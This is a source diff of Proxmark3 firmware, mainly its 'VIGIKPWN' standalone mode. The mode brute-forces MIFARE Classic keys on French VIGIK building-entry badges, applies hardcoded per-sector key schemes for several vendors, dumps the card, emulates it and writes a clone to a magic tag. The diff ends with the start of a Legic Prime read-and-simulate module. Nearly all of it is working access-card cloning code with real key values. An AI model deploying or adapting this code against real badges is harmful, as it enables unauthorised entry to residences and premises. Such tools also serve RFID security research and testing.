rdv40_spiffs_read_as_filetype((char *)HFCOLIN_LASTTAG_SYMLINK, (uint8_t *)mem, len, RDV40_SPIFFS_SAFETY_SAFE);
uint32_t start_time = GetTickCount();
uint32_t delta_time = 0;
for (size_t i = 0; i < len; i += size) {
len = MIN((len - i), size);
uint16_t isok = Flash_ReadDataCont(startidx + i, mem, len);
if (isok == len) {
emlSetMem(mem, 0, 64);
} else {
DbprintfEx(FLAG_NEWLINE, "FlashMem reading failed | %d | %d", len, isok);
cjSetCursLeft();
FlashStop();
SpinOff(100);
return;
}
}
delta_time = GetTickCountDelta(start_time);
DbprintfEx(FLAG_NEWLINE, "[OK] Last tag recovered from FLASHMEM set to emulator");
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "%s[IN]%s %s%dms%s for TAG_FLASH_READ", _XGREEN_, _XWHITE_, _XYELLOW_, delta_time, _XWHITE_);
cjSetCursLeft();
FlashStop();
SpinOff(0);
return;
}
void WriteTagToFlash(uint8_t index, size_t size) {
void WriteTagToFlash(uint32_t uid, size_t size) {
SpinOff(0);
LED_A_ON();
LED_B_ON();
@ -140,68 +308,37 @@ void WriteTagToFlash(uint8_t index, size_t size) {
LED_D_ON();
uint32_t len = size;
uint32_t bytes_sent = 0;
uint32_t bytes_remaining = len;
uint8_t data[(size * (16 * 64)) / 1024];
uint8_t buff[PAGESIZE];
emlGetMem(data, 0, (size * 64) / 1024);
if (!FlashInit()) {
return;
}
char dest[SPIFFS_OBJ_NAME_LEN];
uint8_t buid[4];
num_to_bytes(uid, 4, buid);
sprintf(dest, "hf_colin/mf_%02x%02x%02x%02x.bin", buid[0], buid[1], buid[2], buid[3]);
Flash_CheckBusy(BUSY_TIMEOUT);
Flash_WriteEnable();
Flash_Erase4k(0, 0);
// TODO : by using safe function for multiple writes we are both breaking cache mecanisms and making useless and
// unoptimized mount operations we should manage at out level the mount status before and after the whole
// standalone mode
rdv40_spiffs_write((char *)dest, (uint8_t *)data, len, RDV40_SPIFFS_SAFETY_SAFE);
// lastag will only contain filename/path to last written tag file so we don't loose time or space.
rdv40_spiffs_make_symlink((char *)dest, (char *)HFCOLIN_LASTTAG_SYMLINK, RDV40_SPIFFS_SAFETY_SAFE);
uint32_t start_time = GetTickCount();
uint32_t delta_time = 0;
while (bytes_remaining > 0) {
Flash_CheckBusy(BUSY_TIMEOUT);
Flash_WriteEnable();
uint32_t bytes_in_packet = MIN(FLASH_MEM_BLOCK_SIZE, bytes_remaining);
memcpy(buff, data + bytes_sent, bytes_in_packet);
bytes_remaining -= bytes_in_packet;
uint16_t res = Flash_WriteDataCont(bytes_sent + (index * size), buff, bytes_in_packet);
bytes_sent += bytes_in_packet;
uint8_t isok = (res == bytes_in_packet) ? 1 : 0;
if (!isok) {
DbprintfEx(FLAG_NEWLINE, "FlashMem write FAILEd [offset %u]", bytes_sent);
DbprintfEx(FLAG_NEWLINE, "[OK] TAG WRITTEN TO FLASH !");
cjSetCursLeft();
SpinOff(100);
return;
}
LED_A_INV();
LED_B_INV();
LED_C_INV();
LED_D_INV();
}
delta_time = GetTickCountDelta(start_time);
DbprintfEx(FLAG_NEWLINE, "[OK] TAG WRITTEN TO FLASH ! [0-to offset %u]", bytes_sent);
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "%s[IN]%s %s%dms%s for TAG_FLASH_WRITE", _XGREEN_, _XWHITE_, _XYELLOW_, delta_time, _XWHITE_);
cjSetCursLeft();
FlashStop();
SpinOff(0);
return;
}
void ModInfo(void) {
DbpString(" HF Mifare ultra fast sniff/sim/clone - aka VIGIKPWN (Colin Brigato)");
}
void ModInfo(void) { DbpString(" HF Mifare ultra fast sniff/sim/clone - aka VIGIKPWN (Colin Brigato)"); }
void RunMod() {
StandAloneMode();
// add_schema(Schemas, Noralsy, &total_schemas);
// add_schema(Schemas, InfiHexact, &total_schemas);
// add_schema_from_json_in_spiffs((char *)HFCOLIN_URMETCAPTIVE_JSON);
// add_schema(Schemas, UrmetCaptive, &total_schemas);
FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
currline = 20;
@ -255,9 +392,7 @@ void RunMod() {
// French VIGIK system @2017
//----------------------------
#define STKEYS 37
const uint64_t mfKeys[STKEYS] = {
const uint64_t mfKeys[] = {
0xffffffffffff, // TRANSPORTS
0x000000000000, // Blankkey
0x484558414354, // INFINEONON A / 0F SEC B / INTRATONE / HEXACT...
@ -298,8 +433,8 @@ void RunMod() {
};
// Can remember something like that in case of Bigbuf
keyBlock = BigBuf_malloc(STKEYS * 6);
int mfKeysCnt = sizeof(mfKeys) / sizeof(uint64_t);
keyBlock = BigBuf_malloc(ARRAYLEN(mfKeys) * 6);
int mfKeysCnt = ARRAYLEN(mfKeys);
for (int mfKeyCounter = 0; mfKeyCounter < mfKeysCnt; mfKeyCounter++) {
num_to_bytes(mfKeys[mfKeyCounter], 6, (uint8_t *)(keyBlock + mfKeyCounter * 6));
@ -338,6 +473,8 @@ void RunMod() {
currfline = 24;
cjSetCursLeft();
add_schemas_from_json_in_spiffs((char *)HFCOLIN_SCHEMAS_JSON);
failtag:
vtsend_cursor_position_save(NULL);
@ -381,7 +518,7 @@ failtag:
if (cjcuid == 0) {
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "%s>>%s BUG: 0000_CJCUID! Retrying...", _XRED_, _XWHITE_);
SpinErr(0, 100, 8);
SpinErr(LED_A, 100, 8);
goto failtag;
}
@ -424,7 +561,7 @@ failtag:
//-----------------------------------------------------------------------------
// also we could avoid first UID check for every block
// then lets expose this “optimal case” of “well known vigik schemes” :
// then let's expose this optimal case of well known vigik schemes :
for (uint8_t type = 0; type < 2 && !err && !trapped; type++) {
for (int sec = 0; sec < sectorsCnt && !err && !trapped; ++sec) {
key = cjat91_saMifareChkKeys(sec * 4, type, NULL, size, &keyBlock[0], &key64);
@ -432,8 +569,8 @@ failtag:
if (key == -1) {
err = 1;
allKeysFound = false;
// used in portable imlementation on microcontroller: it reports back the fail and open the standalone lock
// reply_old(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0);
// used in portable imlementation on microcontroller: it reports back the fail and open the
// standalone lock reply_old(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0);
break;
} else if (key == -2) {
err = 1; // Can't select card.
@ -448,10 +585,10 @@ failtag:
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %012" PRIx64 " ; TYP: %i", sec, key64, type);
/*reply_old(CMD_CJB_INFORM_CLIENT_KEY, 12, sec, type, tosendkey, 12);*/
switch (key64) {
/////////////////////////////////////////////////////////
// COMMON SCHEME 1 : INFINITRON/HEXACT
case 0x484558414354:
for (int i = 0; i < total_schemas; i++) {
if (key64 == Schemas[i].trigger) {
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "%s>>>>>>>>>>>>!*STOP*!<<<<<<<<<<<<<<%s", _XRED_, _XWHITE_);
cjSetCursLeft();
@ -459,232 +596,36 @@ failtag:
DbprintfEx(FLAG_NEWLINE, " .TAG SEEMS %sDETERMINISTIC%s. ", _XGREEN_, _XWHITE_);
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "%sDetected: %s INFI_HEXACT_VIGIK_TAG%s", _XORANGE_, _XCYAN_, _XWHITE_);
DbprintfEx(FLAG_NEWLINE, "%sDetected: %s %s%s", _XORANGE_, _XCYAN_, Schemas[i].name, _XWHITE_);
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "...%s[%sKey_derivation_schemeTest%s]%s...", _XYELLOW_, _XGREEN_, _XYELLOW_, _XGREEN_);
DbprintfEx(FLAG_NEWLINE, "...%s[%sKey_derivation_schemeTest%s]%s...", _XYELLOW_, _XGREEN_,
_XYELLOW_, _XGREEN_);
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "%s>>>>>>>>>>>>!*DONE*!<<<<<<<<<<<<<<%s", _XGREEN_, _XWHITE_);
;
// Type 0 / A first
uint16_t t = 0;
for (uint16_t s = 0; s < sectorsCnt; s++) {
num_to_bytes(0x484558414354, 6, foundKey[t][s]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][s][0], foundKey[t][s][1], foundKey[t][s][2],
foundKey[t][s][3], foundKey[t][s][4], foundKey[t][s][5]);
num_to_bytes(Schemas[i].keysA[s], 6, foundKey[t][s]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][s][0], foundKey[t][s][1],
foundKey[t][s][2], foundKey[t][s][3], foundKey[t][s][4], foundKey[t][s][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", s, tosendkey, t);
}
t = 1;
uint16_t sectorNo = 0;
num_to_bytes(0xa22ae129c013, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 1;
num_to_bytes(0x49fae4e3849f, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 2;
num_to_bytes(0x38fcf33072e0, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 3;
num_to_bytes(0x8ad5517b4b18, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 4;
num_to_bytes(0x509359f131b1, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 5;
num_to_bytes(0x6c78928e1317, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 6;
num_to_bytes(0xaa0720018738, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 7;
num_to_bytes(0xa6cac2886412, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 8;
num_to_bytes(0x62d0c424ed8e, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 9;
num_to_bytes(0xe64a986a5d94, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 10;
num_to_bytes(0x8fa1d601d0a2, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 11;
num_to_bytes(0x89347350bd36, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 12;
num_to_bytes(0x66d2b7dc39ef, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 13;
num_to_bytes(0x6bc1e1ae547d, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 14;
num_to_bytes(0x22729a9bd40f, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 15;
num_to_bytes(0x484558414354, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
trapped = 1;
break;
////////////////END OF SCHEME 1//////////////////////////////
///////////////////////////////////////
// COMMON SCHEME 2 : URMET CAPTIVE / COGELEC!/?
case 0x8829da9daf76:
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "%s>>>>>>>>>>>>!*STOP*!<<<<<<<<<<<<<<%s", _XRED_, _XWHITE_);
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, " .TAG SEEMS %sDETERMINISTIC%s. ", _XGREEN_, _XWHITE_);
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "%sDetected :%sURMET_CAPTIVE_VIGIK_TAG%s", _XORANGE_, _XCYAN_, _XWHITE_);
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "...%s[%sKey_derivation_schemeTest%s]%s...", _XYELLOW_, _XGREEN_, _XYELLOW_, _XGREEN_);
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "%s>>>>>>>>>>>>!*DONE*!<<<<<<<<<<<<<<%s", _XGREEN_, _XWHITE_);
cjSetCursLeft();
// emlClearMem();
// A very weak one...
for (uint16_t i = 0; i < 2; i++) {
for (uint16_t s = 0; s < sectorsCnt; s++) {
num_to_bytes(key64, 6, foundKey[i][s]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x",
foundKey[i][s][0],
foundKey[i][s][1],
foundKey[i][s][2],
foundKey[i][s][3],
foundKey[i][s][4],
foundKey[i][s][5]
);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", s, tosendkey, i);
}
}
trapped = 1;
break;
////////////////END OF SCHEME 2//////////////////////////////
///////////////////////////////////////
// COMMON SCHEME 3 : NORALSY "A-LARON & B-LARON . . . NORAL-B & NORAL-A"
case 0x414c41524f4e: // Thumbs up to the guy who had the idea of such a "mnemotechnical" key pair
case 0x424c41524f4e:
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "%s>>>>>>>>>>>>!*STOP*!<<<<<<<<<<<<<<%s", _XRED_, _XWHITE_);
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, " .TAG SEEMS %sDETERMINISTIC%s. ", _XGREEN_, _XWHITE_);
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "%s Detected :%sNORALSY_VIGIK_TAG %s", _XORANGE_, _XCYAN_, _XWHITE_);
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "...%s[%sKey_derivation_schemeTest%s]%s...", _XYELLOW_, _XGREEN_, _XYELLOW_, _XGREEN_);
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "%s>>>>>>>>>>>>!*DONE*!<<<<<<<<<<<<<<%s", _XGREEN_, _XWHITE_);
t = 0;
for (uint16_t s = 0; s < sectorsCnt; s++) {
num_to_bytes(0x414c41524f4e, 6, foundKey[t][s]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x",
foundKey[t][s][0],
foundKey[t][s][1],
foundKey[t][s][2],
foundKey[t][s][3],
foundKey[t][s][4],
foundKey[t][s][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", s, tosendkey, t);
}
t = 1;
for (uint16_t s = 0; s < sectorsCnt; s++) {
num_to_bytes(0x424c41524f4e, 6, foundKey[t][s]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x",
foundKey[t][s][0],
foundKey[t][s][1],
foundKey[t][s][2],
foundKey[t][s][3],
foundKey[t][s][4],
foundKey[t][s][5]);
num_to_bytes(Schemas[i].keysB[s], 6, foundKey[t][s]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][s][0], foundKey[t][s][1],
foundKey[t][s][2], foundKey[t][s][3], foundKey[t][s][4], foundKey[t][s][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", s, tosendkey, t);
}
trapped = 1;
break;
////////////////END OF SCHEME 3//////////////////////////////
}
}
/* etc etc for testing schemes quick schemes */
}
}
@ -695,7 +636,7 @@ failtag:
cjTabulize();
DbprintfEx(FLAG_NEWLINE, "%s[ FAIL ]%s\r\n->did not found all the keys :'(", _XRED_, _XWHITE_);
cjSetCursLeft();
SpinErr(1, 100, 8);
SpinErr(LED_B, 100, 8);
SpinOff(100);
return;
}
@ -731,7 +672,7 @@ failtag:
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "FATAL:EML_FALLBACKFILL_B");
SpinErr(2, 100, 8);
SpinErr(LED_C, 100, 8);
SpinOff(100);
return;
}
@ -740,7 +681,8 @@ failtag:
delta_time = GetTickCountDelta(start_time);
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "%s>>%s Time for VIGIK break :%s%dms%s", _XGREEN_, _XWHITE_, _XYELLOW_, delta_time, _XWHITE_);
DbprintfEx(FLAG_NEWLINE, "%s>>%s Time for VIGIK break :%s%dms%s", _XGREEN_, _XWHITE_, _XYELLOW_, delta_time,
_XWHITE_);
vtsend_cursor_position_save(NULL);
vtsend_set_attribute(NULL, 1);
@ -750,10 +692,9 @@ failtag:
cjSetCursLeft();
cjSetCursLeft();
WriteTagToFlash(0, 1024);
WriteTagToFlash(cjcuid, 1024);
readysim:
// SIM ?
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "-> We launch Emulation ->");
@ -762,8 +703,9 @@ readysim:
DbprintfEx(FLAG_NEWLINE, "%s!> HOLD ON : %s When you'll click, simm will stop", _XRED_, _XWHITE_);
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "Then %s immediately %s we'll try to %s dump our emulator state%s \r\nin a %s chinese tag%s", _XRED_, _XWHITE_, _XYELLOW_, _XWHITE_,
_XCYAN_, _XWHITE_);
DbprintfEx(FLAG_NEWLINE,
"Then %s immediately %s we'll try to %s dump our emulator state%s \r\nin a %s chinese tag%s", _XRED_,
_XWHITE_, _XYELLOW_, _XWHITE_, _XCYAN_, _XWHITE_);
cjSetCursLeft();
cjSetCursLeft();
@ -775,19 +717,39 @@ readysim:
SpinOff(100);
LED_C_ON();
uint16_t flags;
switch (p_card.uidlen) {
DBGLEVEL = DBG_NONE;
//uint16_t flags=0;
/*switch (p_card.uidlen) {
case 10:
flags = FLAG_10B_UID_IN_DATA;
break;
case 7:
flags = FLAG_7B_UID_IN_DATA;
break;
default:
case 4:
flags = FLAG_4B_UID_IN_DATA;
break;
}
Mifare1ksim(flags | FLAG_MF_1K, 0, cjuid);
default:
flags = FLAG_UID_IN_EMUL;
break;
}*/
// Use UID, SAK, ATQA from EMUL, if uid not defined
// if ((flags & (FLAG_4B_UID_IN_DATA | FLAG_7B_UID_IN_DATA | FLAG_10B_UID_IN_DATA)) == 0) {
//flags |= FLAG_UID_IN_EMUL;
//}
//flags |= FLAG_MF_1K;
//if ((flags & (FLAG_4B_UID_IN_DATA | FLAG_7B_UID_IN_DATA | FLAG_10B_UID_IN_DATA)) == 0) {
// flags |= FLAG_UID_IN_EMUL;
//}
//flags = 0x10;
uint16_t flags = 0;
flags = 16;
DbprintfEx(FLAG_NEWLINE, "\n\n\n\n\n\n\n\nn\n\nn\n\n\nflags: %d (0x%02x)", flags, flags);
cjSetCursLeft();
SpinOff(1000);
Mifare1ksim(flags, 0, cjuid, 0, 0);
LED_C_OFF();
SpinOff(50);
vtsend_cursor_position_restore(NULL);
@ -816,7 +778,7 @@ readysim:
DbprintfEx(FLAG_NEWLINE, "- [ LA FIN ] -\r\n%s`-> You can take shell back :) ...", _XWHITE_);
cjSetCursLeft();
vtsend_set_attribute(NULL, 0);
SpinErr(3, 100, 16);
SpinErr(LED_D, 100, 16);
SpinDown(75);
SpinOff(100);
return;
@ -895,16 +857,17 @@ int e_MifareECardLoad(uint32_t numofsectors, uint8_t keytype) {
DbprintfEx(FLAG_NEWLINE, "Halt error");
};
crypto1_destroy(pcs);
crypto1_deinit(pcs);
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
return (isOK) ? PM3_SUCCESS : PM3_EUNDEF;
}
/* the chk function is a piwied(tm) check that will try all keys for
/* the chk function is a piwi'ed(tm) check that will try all keys for
a particular sector. also no tracing no dbg */
int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, uint8_t keyCount, uint8_t *datain, uint64_t *key) {
int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, uint8_t keyCount, uint8_t *datain,
uint64_t *key) {
DBGLEVEL = DBG_NONE;
iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN);
set_tracing(false);
@ -931,12 +894,12 @@ int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, ui
SpinDelayUs(AUTHENTICATION_TIMEOUT);
continue;
}
crypto1_destroy(pcs);
crypto1_deinit(pcs);
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
*key = ui64Key;
return i;
}
crypto1_destroy(pcs);
crypto1_deinit(pcs);
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
return -1;
@ -1009,6 +972,7 @@ void saMifareMakeTag(void) {
}
}
// TODO : make this work either for a Gen1a or for a block 0 direct write all transparently
//-----------------------------------------------------------------------------
// Matt's StandAlone mod.
// Work with "magic Chinese" card (email him: ouyangweidaxian@live.cn)
@ -1095,7 +1059,8 @@ int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *data
};
}
if ((mifare_sendcmd_short(NULL, 0, 0xA0, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) {
if ((mifare_sendcmd_short(NULL, CRYPT_NONE, 0xA0, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) ||
(receivedAnswer[0] != 0x0a)) {
DbprintfEx(FLAG_NEWLINE, "write block send command error");
break;
};

View file

@ -9,6 +9,10 @@
// StandAlone Mod
//-----------------------------------------------------------------------------
#include <inttypes.h>
#include <stdbool.h>
#include <stddef.h>
#ifndef FALSE
#define FALSE 0
#endif
@ -16,20 +20,6 @@
#ifndef __HF_COLIN_H
#define __HF_COLIN_H
#include "proxmark3.h"
#include "mifaresim.h" // mifare1ksim
#include "mifareutil.h"
#include "iso14443a.h"
#include "protocols.h"
#include "util.h"
#include "standalone.h" // standalone definitions
#include <stdbool.h> // for bool
#include <stdio.h>
#include <string.h>
#include "vtsend.h"
#include "apps.h"
#include "printf.h"
#define _XRED_ "\x1b[31m"
#define _XGREEN_ "\x1b[32m"
#define _XYELLOW_ "\x1b[33m"
@ -43,7 +33,7 @@ int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, ui
int e_MifareECardLoad(uint32_t numofsectors, uint8_t keytype);
void saMifareMakeTag(void);
int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain);
void WriteTagToFlash(uint8_t index, size_t size);
void WriteTagToFlash(uint32_t uid, size_t size);
const char clearTerm[8] = {0x1b, 0x5b, 0x48, 0x1b, 0x5b, 0x32, 0x4a, '\0'};

View file

@ -0,0 +1,173 @@
//-----------------------------------------------------------------------------
// (c) Stefanie Hofmann, 2020
// (c) Uli Heilmeier, 2020
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// main code for Legic Prime read/sim
//-----------------------------------------------------------------------------
#include "standalone.h"
#include "proxmark3_arm.h"
#include "BigBuf.h"
#include "appmain.h"
#include "fpgaloader.h"
#include "util.h"
#include "dbprint.h"
#include "ticks.h"
#include "legicrf.h"
#include "legicrfsim.h"
#include "legic.h" // legic_card_select_t struct
#include "spiffs.h" // flashmem
/*
* To list all dump files from flash:
*
* 1. mem spiffs tree
*
*
* To retrieve dump files from flash:
*
* 1. mem spiffs dump o hf-legic-XXYYZZWW-dump.bin f hf-legic-XXYYZZWW-dump.bin
* Copies log file from flash to your client.
*
*
* This module emits debug strings during normal operation -- so try it out in
* the lab connected to PM3 client before taking it into the field.
*
* To delete a dump file from flash:
*
* 1. mem spiffs remove hf-legic-XXYYZZWW-dump.bin
*
*/
void DownloadLogInstructions() {
Dbprintf("");
Dbprintf("[=] List all dumps from flash:");
Dbprintf("[=] " _YELLOW_("-") "mem spiffs tree");
Dbprintf("");
Dbprintf("[=] To save a dump file from flash to client:");
Dbprintf("[=] " _YELLOW_("-") "mem spiffs dump o hf-legic-UID-dump.bin f hf-legic-UID-dump.bin");
}
void save_dump_to_file(legic_card_select_t *p_card) {
#ifdef WITH_FLASH
// legic functions puts it memory in Emulator reserved memory.
uint8_t *mem = BigBuf_get_EM_addr();
char *preferredName = (char*)BigBuf_malloc(30);
if (preferredName == NULL) {
goto OUT;
}
sprintf(preferredName, "hf-legic-%02X%02X%02X%02X-dump", p_card->uid[0], p_card->uid[1], p_card->uid[2], p_card->uid[3]);
uint16_t preferredNameLen = strlen(preferredName);
char *filename = (char*)BigBuf_malloc(preferredNameLen + 4 + 1 + 10);
if (filename == NULL) {
goto OUT;
}
sprintf(filename, "%.*s%s", preferredNameLen, preferredName, ".bin");
uint16_t num = 1;
while (exists_in_spiffs(filename)) {
sprintf(filename, "%.*s-%d%s", preferredNameLen, preferredName, num, ".bin");
num++;
}
